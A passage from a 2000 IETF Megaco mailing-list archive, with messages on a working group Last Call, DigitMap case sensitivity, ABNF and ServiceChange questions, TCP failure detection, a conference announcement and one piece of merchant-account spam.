<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT color=3D#000000 size=3D2>International MGC Conference, second =
edition.=20
14-17 November. Paris.</FONT><FONT color=3D#000000 size=3D2><BR>What =
progress has=20
been made to the MGCP and Megaco protocols? <BR>How can the SIP and =
H.323=20
protocols be integrated into a MGC architecture? <BR>What =
implementations and=20
deployments are underway? </FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>Please refer to:</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2><A=20
href=3D"http://www.upperside.fr/bamgc2yk.htm">http://www.upperside.fr/bam=
gc2yk.htm</A></FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV></FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_009C_01C02476.AD5A6FE0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 22 13:03:12 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20477
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 22 Sep 2000 13:03:10 -0400 (EDT)
Received: from standards (47.234.32.16:4559) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB96A30@standards.nortelnetworks.com>; Fri, 22 Sep 2000 12:47:27 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 23929 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 22 Sep 2000 12:47:26 -0400
Received: from ertpg15e1.nortelnetworks.com (47.125.208.111:60672) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB96A2F@standards.nortelnetworks.com>; Fri, 22 Sep 2000
          12:47:25 -0400
Received: from smtprch1.nortel.com (erchg0j [47.113.64.103]) by
          ertpg15e1.nortelnetworks.com (8.11.0/8.11.0) with ESMTP id
          e8MH16M11795 for <megaco@standards.nortelnetworks.com>; Fri, 22 Sep
          2000 13:01:13 -0400 (EDT)
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Fri, 22 Sep 2000 11:58:42 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <TJHAPW9K>; Fri, 22 Sep 2000 11:58:29 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480DCD@zcard00g.ca.nortel.com>
Date:         Fri, 22 Sep 2000 11:58:22 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      FW: IPPhone Profile Last Call
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Resend -- looks like the first try didn't make it.

-----Original Message-----
From: Taylor, Tom-PT [NORSE:B901:EXCH]
Sent: Friday, September 22, 2000 9:29 AM
To: megaco
Subject: IPPhone Profile Last Call


draft-ietf-megaco-ipphone-03.txt has been out for a couple of weeks.  Peter
Blatherwick has just reminded me that this is the draft we were waiting for
to take to Last Call.

I hereby announce WG Last Call on draft-ietf-megaco-ipphone-03.txt, which is
proposed as an Informational RFC.  Assuming no major problems, WG Last Call
will expire October 6.

Tom Taylor


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 22 16:53:30 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA26305
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 22 Sep 2000 16:53:29 -0400 (EDT)
Received: from standards (47.234.32.16:1228) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB96C13@standards.nortelnetworks.com>; Fri, 22 Sep 2000 16:38:03 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24546 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 22 Sep 2000 16:38:02 -0400
Received: from slink12.ss7-link.com (mail.ss7-link.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB96C04@standards.nortelnetworks.com>; Fri, 22 Sep 2000
          16:28:02 -0400
Received: by SLINK12 with Internet Mail Service (5.5.2650.21) id <TLHJMA69>;
          Fri, 22 Sep 2000 16:39:22 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <F1BD619B2A58D41197990050DA2C08E401D371@SLINK12>
Date:         Fri, 22 Sep 2000 16:39:21 -0400
Reply-To: Dave Sclarsky <dsclarsky@SS7-LINK.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Dave Sclarsky <dsclarsky@SS7-LINK.COM>
Subject:      Case sensitive DigitMap symbols?
X-cc:         img <img@ss7-link.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hello,

I have questions about the use of lower case letters as DigitMap symbols.

First of all, there is a conflict between the text and the ABNF:

o The text description (7.1.14.3) allows
  symbols "A" through (at most) "K" as digit
  map symbols, but doesn't mention the lower
  case letters.

o The ABNF in B.2 defines 'digitMapLetter'
  to allow %x41-4B or %x61-6B.

Second, the DTMF detection package uses case in a
confusing way:

o The DTMF 'tone id' to Event Symbol table in
  E.6 allows "*" to be represented as either
  "E" or "e", and "#" to be represented as either
  "F" or "f".

o DigitMap Completion Events in E.6 define the
  possible values in a DigitString to be "A"
  through "F".

Is there some reason to allow lower case in digit maps?

Shouldn't the DTMF detection package define a one to one
mapping of 'tone id's to event symbols?

The combination of these rules make it difficult for
an MG to implement 7.1.14.5 number 3, where it says
that each event 'is mapped to a digit string symbol',
especially for the "*" and "#" events, unless I am
missing something!

Thanks,
============================
Dave Sclarsky
System Architect, Access Technology
S-Link Corporation
520 Fellowship Road, Suite C-304
Mt. Laurel, NJ 08054
dsclarsky@ss7-link.com
voice:856.642.9229 fax:856.642.0252
www.ss7-link.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 22 17:05:46 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA26456
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 22 Sep 2000 17:05:46 -0400 (EDT)
Received: from standards (47.234.32.16:1228) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB96C36@standards.nortelnetworks.com>; Fri, 22 Sep 2000 16:50:20 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24608 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 22 Sep 2000 16:50:20 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB96C35@standards.nortelnetworks.com>; Fri, 22 Sep 2000 16:50:20
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id RAA23589; Fri, 22 Sep 2000 17:04:08 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id RAA22589; Fri, 22 Sep 2000 17:04:11 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <TLL34P2T>; Fri, 22 Sep 2000 17:04:11 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E700@whq-msgusr-02.pit.comms.marconi.com>
Date:         Fri, 22 Sep 2000 17:03:40 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Case sensitive DigitMap symbols?
X-To:         Dave Sclarsky <dsclarsky@SS7-LINK.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Except for the case of SDP in local/remote,
the entire protocol is case insensitive.
I'll support expanding the wording in 7.1.14.3 and
E.6 to include the lower case values.

Brian

> -----Original Message-----
> From: Dave Sclarsky [mailto:dsclarsky@SS7-LINK.COM]
> Sent: Friday, September 22, 2000 4:39 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Case sensitive DigitMap symbols?
>
>
> Hello,
>
> I have questions about the use of lower case letters as
> DigitMap symbols.
>
> First of all, there is a conflict between the text and the ABNF:
>
> o The text description (7.1.14.3) allows
>   symbols "A" through (at most) "K" as digit
>   map symbols, but doesn't mention the lower
>   case letters.
>
> o The ABNF in B.2 defines 'digitMapLetter'
>   to allow %x41-4B or %x61-6B.
>
> Second, the DTMF detection package uses case in a
> confusing way:
>
> o The DTMF 'tone id' to Event Symbol table in
>   E.6 allows "*" to be represented as either
>   "E" or "e", and "#" to be represented as either
>   "F" or "f".
>
> o DigitMap Completion Events in E.6 define the
>   possible values in a DigitString to be "A"
>   through "F".
>
> Is there some reason to allow lower case in digit maps?
>
> Shouldn't the DTMF detection package define a one to one
> mapping of 'tone id's to event symbols?
>
> The combination of these rules make it difficult for
> an MG to implement 7.1.14.5 number 3, where it says
> that each event 'is mapped to a digit string symbol',
> especially for the "*" and "#" events, unless I am
> missing something!
>
> Thanks,
> ============================
> Dave Sclarsky
> System Architect, Access Technology
> S-Link Corporation
> 520 Fellowship Road, Suite C-304
> Mt. Laurel, NJ 08054
> dsclarsky@ss7-link.com
> voice:856.642.9229 fax:856.642.0252
> www.ss7-link.com
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 22 17:19:21 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA26621
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 22 Sep 2000 17:19:21 -0400 (EDT)
Received: from standards (47.234.32.16:1228) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB96C5D@standards.nortelnetworks.com>; Fri, 22 Sep 2000 17:04:05 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24661 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 22 Sep 2000 17:04:04 -0400
Received: from ertpg15e1.nortelnetworks.com (47.125.208.111:33482) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB96C5C@standards.nortelnetworks.com>; Fri, 22 Sep 2000
          17:04:04 -0400
Received: from smtprch2.nortel.com (erchg0k [47.113.64.104]) by
          ertpg15e1.nortelnetworks.com (8.11.0/8.11.0) with ESMTP id
          e8MLHiT02465 for <megaco@standards.nortelnetworks.com>; Fri, 22 Sep
          2000 17:17:52 -0400 (EDT)
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch2.nortel.com; Fri, 22 Sep 2000 08:26:03 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <TJHAP3AA>; Fri, 22 Sep 2000 08:29:51 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480DC7@zcard00g.ca.nortel.com>
Date:         Fri, 22 Sep 2000 08:29:47 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      IPPhone Profile Last Call
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

draft-ietf-megaco-ipphone-03.txt has been out for a couple of weeks.  Peter
Blatherwick has just reminded me that this is the draft we were waiting for
to take to Last Call.

I hereby announce WG Last Call on draft-ietf-megaco-ipphone-03.txt, which is
proposed as an Informational RFC.  Assuming no major problems, WG Last Call
will expire October 6.

Tom Taylor


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 22 17:56:43 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA27121
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 22 Sep 2000 17:56:42 -0400 (EDT)
Received: from standards (47.234.32.16:1228) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB96D38@standards.nortelnetworks.com>; Fri, 22 Sep 2000 17:41:15 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24954 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 22 Sep 2000 17:41:15 -0400
Received: from turin.trillium.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB96D37@standards.nortelnetworks.com>; Fri, 22 Sep 2000 17:41:15
          -0400
Received: from aiglos.trillium.com (smtp.trillium.com [192.168.3.20]) by
          turin.trillium.com (8.11.0/8.11.0) with ESMTP id e8MLxdH08262 for
          <megaco@standards.nortelnetworks.com>; Fri, 22 Sep 2000 14:59:39
          -0700 (PDT)
Received: from aega.trillium.com (aega.trillium.com [192.168.1.19]) by
          aiglos.trillium.com (8.9.3/8.9.3) with ESMTP id OAA20148 for
          <megaco@standards.nortelnetworks.com>; Fri, 22 Sep 2000 14:54:49
          -0700 (PDT)
Received: by aega.trillium.com with Internet Mail Service (5.5.2650.21) id
          <RT9L69JC>; Fri, 22 Sep 2000 14:45:56 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <8BBD33A986C5D311804000902719FF5D9FB4AF@aega.trillium.com>
Date:         Fri, 22 Sep 2000 14:45:55 -0700
Reply-To: Bharat Kaul <bharat@TRILLIUM.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Bharat Kaul <bharat@TRILLIUM.COM>
Subject:      "Method Disconnected in ServiceChange"
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I am wondering when do we use this method as "disconnected" in a
ServiceChange message. Is it related to transport or is it related to loss
of communication (which to me seem same) or anything else ?

I guess the question I am asking is " what are the situations under which MG
generates a ServiceChange with method as disconnected ? "

 Thanks
- Bharat


----------------------------------------------------------------------------
-------
Bharat Kaul;                             mailto:bharat@trillium.com

Trillium Digital Systems Inc.   (An Intel Company)
12100 Wilshire Blvd, Los Angeles, CA - 90025.
Phone: +1-310-442-9222
Fax:     +1-310-442-1162
http://www.trillium.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 22 19:01:31 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA28059
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 22 Sep 2000 19:01:27 -0400 (EDT)
Received: from standards (47.234.32.16:4138) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB96D9E@standards.nortelnetworks.com>; Fri, 22 Sep 2000 18:45:56 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25087 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 22 Sep 2000 18:45:55 -0400
Received: from slink12.ss7-link.com (mail.ss7-link.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB96D9D@standards.nortelnetworks.com>; Fri, 22 Sep 2000
          18:45:55 -0400
Received: by SLINK12 with Internet Mail Service (5.5.2650.21) id <TLHJMA86>;
          Fri, 22 Sep 2000 18:57:16 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <F1BD619B2A58D41197990050DA2C08E401D372@SLINK12>
Date:         Fri, 22 Sep 2000 18:57:15 -0400
Reply-To: Dave Sclarsky <dsclarsky@SS7-LINK.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Dave Sclarsky <dsclarsky@SS7-LINK.COM>
Subject:      Re: Case sensitive DigitMap symbols?
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
X-cc:         img <img@ss7-link.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Brian,

Thanks for the response.  I apologize, but I haven't
seen a clause that says the protocol is case insensitive.
Does this refer to the text encoding, or is it a blanket
statement covering all aspects of the protocol?

DaveS.

-----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
Sent: Friday, September 22, 2000 5:04 PM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Case sensitive DigitMap symbols?


Except for the case of SDP in local/remote,
the entire protocol is case insensitive.
I'll support expanding the wording in 7.1.14.3 and
E.6 to include the lower case values.

Brian

> -----Original Message-----
> From: Dave Sclarsky [mailto:dsclarsky@SS7-LINK.COM]
> Sent: Friday, September 22, 2000 4:39 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Case sensitive DigitMap symbols?
>
>
> Hello,
>
> I have questions about the use of lower case letters as
> DigitMap symbols.
>
> First of all, there is a conflict between the text and the ABNF:
>
> o The text description (7.1.14.3) allows
>   symbols "A" through (at most) "K" as digit
>   map symbols, but doesn't mention the lower
>   case letters.
>
> o The ABNF in B.2 defines 'digitMapLetter'
>   to allow %x41-4B or %x61-6B.
>
> Second, the DTMF detection package uses case in a
> confusing way:
>
> o The DTMF 'tone id' to Event Symbol table in
>   E.6 allows "*" to be represented as either
>   "E" or "e", and "#" to be represented as either
>   "F" or "f".
>
> o DigitMap Completion Events in E.6 define the
>   possible values in a DigitString to be "A"
>   through "F".
>
> Is there some reason to allow lower case in digit maps?
>
> Shouldn't the DTMF detection package define a one to one
> mapping of 'tone id's to event symbols?
>
> The combination of these rules make it difficult for
> an MG to implement 7.1.14.5 number 3, where it says
> that each event 'is mapped to a digit string symbol',
> especially for the "*" and "#" events, unless I am
> missing something!
>
> Thanks,
> ============================
> Dave Sclarsky
> System Architect, Access Technology
> S-Link Corporation
> 520 Fellowship Road, Suite C-304
> Mt. Laurel, NJ 08054
> dsclarsky@ss7-link.com
> voice:856.642.9229 fax:856.642.0252
> www.ss7-link.com
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Sep 24 04:30:47 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA07002
	for <megaco-archive@LISTS.IETF.ORG>; Sun, 24 Sep 2000 04:30:46 -0400 (EDT)
Received: from standards (47.234.32.16:3438) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB97113@standards.nortelnetworks.com>; 24 Sep 2000 4:14:52 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 26285 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 24 Sep 2000 04:14:51 -0400
Received: from ertpg15e1.nortelnetworks.com (47.125.208.111:63097) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB97112@standards.nortelnetworks.com>; 24 Sep 2000 4:14:51
          -0400
Received: from qhars002.nortel.com (zhars00t [47.101.112.102]) by
          ertpg15e1.nortelnetworks.com (8.11.0/8.11.0) with ESMTP id
          e8O8SCT26232 for <megaco@standards.nortelnetworks.com>; Sun, 24 Sep
          2000 04:28:12 -0400 (EDT)
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Sun, 24 Sep 2000
          09:14:56 +0100
Received: from zmers013 (actually zmers013.ca.nortel.com) by
          zrtps06s.us.nortel.com; Sun, 24 Sep 2000 04:14:55 -0400
Received: from tlhuph12.elex.co.il (actually ertpg1e0.us.nortel.com) by
          zmers013; Sun, 24 Sep 2000 04:14:40 -0400
Received: from tmx100.elex.co.il (tmx100.elex.co.il [141.226.8.254]) by
          tlhuph12.elex.co.il (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id LAA10737
          for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Sun, 24 Sep 2000 11:15:30
          +0300 (IDT)
Received: from tl100h0c.elex.co.il by tmx100.elex.co.il (8.8.8+Sun/SMI-SVR4) id
          LAA13589; Sun, 24 Sep 2000 11:15:24 +0300 (IDT)
Received: from tmx100.elex.co.il (rakefet@localhost [127.0.0.1]) by
          tl100h0c.elex.co.il with ESMTP (8.8.6 (PHNE_14041)/8.7.3) id LAA03184
          for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Sun, 24 Sep 2000 11:15:20
          +0300 (IDT)
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Orig: <rakefet.prozan@telrad.co.il>
Message-ID:  <39CDB817.54A89792@tmx100.elex.co.il>
Date:         Sun, 24 Sep 2000 11:15:19 +0300
Reply-To: "Prozan, Rakefet" <rakefet.prozan@telrad.co.il>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Prozan, Rakefet" <rakefet.prozan@telrad.co.il>
Organization: Telrad Ltd.
Subject:      subtractRequest in ABNF
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi all,
Can someone explain , please , the ["W-"] in subtractRequest and
auditRequest
in ABNF?


   subtractRequest      =  ["W-"] SubtractToken EQUAL TerminationID
                           [ LBRKT auditDescriptor RBRKT]

   auditRequest         = ["W-"] (AuditValueToken / AuditCapToken )
                        EQUAL TerminationID LBRKT auditDescriptor RBRKT


I didn't find any explanation in the protocol text.

Thanks in advance,
--
Rakefet Prozan,
Team Manager, S/W Development
ATS SBU
Telrad Networks
ESN 828-3043   Email:rakefet.prozan@telrad.co.il


                                       """
                                     -(o o)-
+---------------------------------oOO--(_)--OOo--------------+

                               .oooO         Oooo.
-------------------------------(   )---------(   )------------
                                \ (           ) /
                                 \_)         (_/

Have fun !!!


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Sep 24 09:55:55 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA08798
	for <megaco-archive@LISTS.IETF.ORG>; Sun, 24 Sep 2000 09:55:54 -0400 (EDT)
Received: from standards (47.234.32.16:1929) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9715D@standards.nortelnetworks.com>; 24 Sep 2000 9:40:17 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 26387 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 24 Sep 2000 09:40:16 -0400
Received: from mink.ecitele.com (mailhost.ecitele.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9715C@standards.nortelnetworks.com>; 24 Sep 2000 9:40:15
          -0400
Received: from olive.ecitele.com (ilsmtp04.ecitele.com [147.234.8.125]) by
          mink.ecitele.com (8.9.1a/8.9.1) with ESMTP id QAA07360 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Sun, 24 Sep 2000 16:53:13
          +0300 (IDT)
X-Mailer: Lotus Notes Release 5.0.2b (Intl) 16 December 1999
X-MIMETrack: Serialize by Router on ILSMTP04/ECI Telecom(Release 5.0.3
             (Intl)|21 March 2000) at 24/09/2000 04:54:35 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Message-ID:  <OF5E9AB059.EB7ABBC9-ONC2256964.004B5825@ecitele.com>
Date:         Sun, 24 Sep 2000 16:49:32 +0300
Reply-To: Shlomo.Kabaz@ECITELE.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Shlomo Kabaz  ECItelecom <Shlomo.Kabaz@ECITELE.COM>
Subject:      TCP svc failure detection in H248
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi , all.
Could anyone tell  what would be the mechanism someone should use for
detection of TCP svc failure when is
used as a transport layer for the H248 protocol . Are there any mechanisms
which are H248 standard or we
should envent a propriatry  "keep alive"  mechanism ?

regards , Shlomo ECI .


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Sep 24 16:05:39 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA10381
	for <megaco-archive@LISTS.IETF.ORG>; Sun, 24 Sep 2000 16:05:39 -0400 (EDT)
Received: from standards (47.234.32.16:4700) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB971B5@standards.nortelnetworks.com>; 24 Sep 2000 15:50:09 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 26510 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 24 Sep 2000 15:50:08 -0400
Received: from mail.eastemsales.co.jp (210.238.198.195:1215) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB971B4@standards.nortelnetworks.com>; 24 Sep 2000 15:40:07
          -0400
Received: from siqwsioio ([168.191.126.215]) by mail.eastemsales.co.jp
          (Post.Office MTA v3.1.2J release 205-101-J ID# 110-53304U100L2S100J)
          with ESMTP id AAA368; Mon, 25 Sep 2000 04:54:54 +0900
X-Mailer: Mozilla 4.70 [en] (Win95; I)
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <MEGACO%2000092415500871@STANDARDS.NORTELNETWORKS.COM>
Date:         Sun, 24 Sep 2000 13:39:06 -0500
Reply-To: Kile Franco <slk92p@MATMAIL.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
Comments:     RFC822 error: <W> Incorrect or incomplete address field found and
              ignored.
From: Kile Franco <slk92p@MATMAIL.COM>
Subject:      Big Change #4360
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id QAA10381

Accepting credit cards for your business
Has never been so easy & affordable!

Our specialty is establishing your merchant account!

NO APPLICATION FEE!
NO PROGRAMMING FEE!
$9.95 PROCESSING FEE

Call today and apply:
(888) 264-9272

Now you can design your web site with our
complete software package, which offers:
· Domain Registration
· Web Hosting Services
· Web Design Tools
· Online Shopping Cart
· Credit Card Processing Integration
Quick, Easy and Affordable at just $99.00!
Call (888) 264-9272 and order today!


************************************************************
If you receive this message and have never joined one of our
email lists you can be removed  by replying to:
mailto:pk92l@starmate.net?subject=remove
************************************************************


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 25 01:52:40 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA21307
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 25 Sep 2000 01:52:40 -0400 (EDT)
Received: from standards (47.234.32.16:3541) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9731F@standards.nortelnetworks.com>; Mon, 25 Sep 2000 1:36:51 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 26987 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 25 Sep 2000 01:36:51 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9731C@standards.nortelnetworks.com>; Mon, 25 Sep 2000
          1:26:51 -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e8P5eht11999; Mon, 25 Sep 2000 07:40:43 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
